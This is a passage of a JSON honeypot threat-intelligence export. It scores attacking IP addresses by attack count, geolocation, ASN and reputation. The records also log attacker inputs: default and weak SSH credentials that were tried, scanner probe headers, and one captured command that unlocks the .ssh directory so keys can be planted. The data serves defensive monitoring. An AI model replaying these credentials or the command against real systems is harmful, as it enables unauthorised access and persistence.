      "first_seen": "2026-05-03T07:48:41.848Z",
      "last_seen": "2026-05-29T10:27:32.008Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 48.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:48:41.848000+00:00",
        "last_seen_30d": "2026-05-29T10:28:38.022000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "34.156.120.189": {
      "attack_count": 37,
      "first_seen": "2026-05-16T07:45:50.373Z",
      "last_seen": "2026-05-16T07:46:20.857Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:45:50.373000+00:00",
        "last_seen_30d": "2026-05-16T07:47:28.481000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 22
      }
    },
    "119.98.248.222": {
      "attack_count": 30,
      "first_seen": "2026-05-20T16:50:38.366Z",
      "last_seen": "2026-05-20T17:55:28.728Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:50:38.366000+00:00",
        "last_seen_30d": "2026-05-20T17:56:34.955000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "65.60.61.228": {
      "attack_count": 30,
      "first_seen": "2026-05-03T19:22:08.356Z",
      "last_seen": "2026-05-31T17:04:31.221Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:22:08.356000+00:00",
        "last_seen_30d": "2026-05-31T17:05:33.482000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "42.100.59.167": {
      "attack_count": 28,
      "first_seen": "2026-05-19T01:24:14.159Z",
      "last_seen": "2026-05-19T02:50:33.370Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:24:14.159000+00:00",
        "last_seen_30d": "2026-05-19T02:51:40.379000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "45.131.111.20": {
      "attack_count": 25,
      "first_seen": "2026-05-28T11:34:30.028Z",
      "last_seen": "2026-05-28T11:36:45.001Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 49581,
      "as_org": "Tube-Hosting",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T11:34:30.028000+00:00",
        "last_seen_30d": "2026-05-28T11:37:51.391000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "142.154.79.135": {
      "attack_count": 24,
      "first_seen": "2026-05-11T08:39:38.153Z",
      "last_seen": "2026-05-11T08:45:53.545Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:39:38.153000+00:00",
        "last_seen_30d": "2026-05-11T08:47:32.792000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 17
      }
    },
    "165.154.5.249": {
      "attack_count": 23,
      "first_seen": "2026-05-24T18:49:10.668Z",
      "last_seen": "2026-05-24T18:49:15.073Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "intel",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:49:10.668000+00:00",
        "last_seen_30d": "2026-05-24T18:50:18.568000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "190.8.164.8": {
      "attack_count": 22,
      "first_seen": "2026-05-23T23:25:45.853Z",
      "last_seen": "2026-05-23T23:34:08.463Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:25:45.853000+00:00",
        "last_seen_30d": "2026-05-23T23:35:18.143000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "42.100.56.227": {
      "attack_count": 20,
      "first_seen": "2026-05-19T13:03:00.710Z",
      "last_seen": "2026-05-22T15:33:10.120Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:03:00.710000+00:00",
        "last_seen_30d": "2026-05-22T15:34:16.013000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "45.233.244.118": {
      "attack_count": 20,
      "first_seen": "2026-05-11T17:29:53.015Z",
      "last_seen": "2026-05-11T17:40:16.536Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cust\u00f3dia",
      "asn": 267332,
      "as_org": "PROVEDOR NET MAIS LTDA - ME",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:29:53.015000+00:00",
        "last_seen_30d": "2026-05-11T17:51:22.217000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "77.29.221.32": {
      "attack_count": 20,
      "first_seen": "2026-05-25T09:27:23.330Z",
      "last_seen": "2026-05-25T09:39:39.465Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Tetovo",
      "asn": 6821,
      "as_org": "Makedonski Telekom AD-Skopje",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:27:23.330000+00:00",
        "last_seen_30d": "2026-05-25T09:47:51.409000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "179.250.253.15": {
      "attack_count": 16,
      "first_seen": "2026-05-21T22:16:07.126Z",
      "last_seen": "2026-05-21T22:24:13.795Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:16:07.126000+00:00",
        "last_seen_30d": "2026-05-21T22:25:14.661000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "124.164.251.88": {
      "attack_count": 12,
      "first_seen": "2026-05-02T07:33:52.238Z",
      "last_seen": "2026-05-02T07:33:57.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:33:52+00:00",
        "last_seen_30d": "2026-05-02T07:35:07.039000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "187.187.226.6": {
      "attack_count": 12,
      "first_seen": "2026-05-13T21:35:18.437Z",
      "last_seen": "2026-05-13T21:43:28.151Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tlaxcala City",
      "asn": 28530,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:35:18.437000+00:00",
        "last_seen_30d": "2026-05-13T21:46:58.226000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "84.203.56.130": {
      "attack_count": 12,
      "first_seen": "2026-05-15T18:15:16.069Z",
      "last_seen": "2026-05-15T18:23:39.125Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 31122,
      "as_org": "Digiweb ltd",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:15:16.069000+00:00",
        "last_seen_30d": "2026-05-15T18:24:53.774000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "64.62.197.2": {
      "attack_count": 11,
      "first_seen": "2026-05-10T09:02:01.118Z",
      "last_seen": "2026-05-29T01:37:00.372Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T06:51:56+00:00",
        "last_seen_30d": "2026-05-31T14:52:30.055000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 152,
        "Honeytrap": 71,
        "Cowrie": 11,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Dionaea": 7,
        "Mailoney": 6,
        "Adbhoney": 3,
        "Ipphoney": 1
      }
    },
    "181.233.89.140": {
      "attack_count": 10,
      "first_seen": "2026-05-19T09:17:06.025Z",
      "last_seen": "2026-05-19T09:25:10.286Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:17:06.025000+00:00",
        "last_seen_30d": "2026-05-19T09:26:19.079000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "147.185.132.27": {
      "attack_count": 8,
      "first_seen": "2026-05-18T19:01:43.921Z",
      "last_seen": "2026-05-30T17:33:44.584Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T19:01:55+00:00",
        "last_seen_30d": "2026-05-31T03:14:25.706000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 23,
        "Cowrie": 8,
        "Honeyaml": 1
      }
    },
    "165.22.230.36": {
      "attack_count": 8,
      "first_seen": "2026-05-30T02:07:46.306Z",
      "last_seen": "2026-05-30T02:09:43.603Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126812,
        "days_active_30d": 1,
        "ports_targeted_30d": 65003,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-30T02:05:52+00:00",
        "last_seen_30d": "2026-05-30T02:20:14.587000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111157,
        "Honeytrap": 15604,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "ConPot": 7,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "34.140.156.133": {
      "attack_count": 8,
      "first_seen": "2026-05-06T04:11:42.869Z",
      "last_seen": "2026-05-06T04:12:14.967Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:11:42.869000+00:00",
        "last_seen_30d": "2026-05-06T04:13:19.722000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "71.6.199.23": {
      "attack_count": 8,
      "first_seen": "2026-05-06T09:21:07.560Z",
      "last_seen": "2026-05-06T09:21:10.757Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 390,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T08:16:29+00:00",
        "last_seen_30d": "2026-05-31T15:01:12.664000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 289,
        "Honeytrap": 89,
        "Cowrie": 8,
        "CitrixHoneypot": 2,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "31.57.184.116": {
      "attack_count": 7,
      "first_seen": "2026-05-06T15:00:03.571Z",
      "last_seen": "2026-05-06T15:00:06.723Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "debian"
      ],
      "passwords_attempted": [
        "temppwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:26:15+00:00",
        "last_seen_30d": "2026-05-06T15:01:16.632000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "66.228.53.125": {
      "attack_count": 6,
      "first_seen": "2026-05-11T18:29:54.675Z",
      "last_seen": "2026-05-11T18:29:56.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:29:54.675000+00:00",
        "last_seen_30d": "2026-05-11T18:31:05.948000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "84.247.174.31": {
      "attack_count": 6,
      "first_seen": "2026-05-02T02:37:49.225Z",
      "last_seen": "2026-05-02T02:41:15.369Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:37:49.225000+00:00",
        "last_seen_30d": "2026-05-02T02:42:18.860000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "125.22.162.46": {
      "attack_count": 5,
      "first_seen": "2026-05-11T03:37:16.894Z",
      "last_seen": "2026-05-11T03:37:19.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "202420"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:37:16.894000+00:00",
        "last_seen_30d": "2026-05-11T03:38:22.150000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "163.7.10.112": {
      "attack_count": 5,
      "first_seen": "2026-05-21T23:50:09.539Z",
      "last_seen": "2026-05-21T23:50:11.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Toor"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
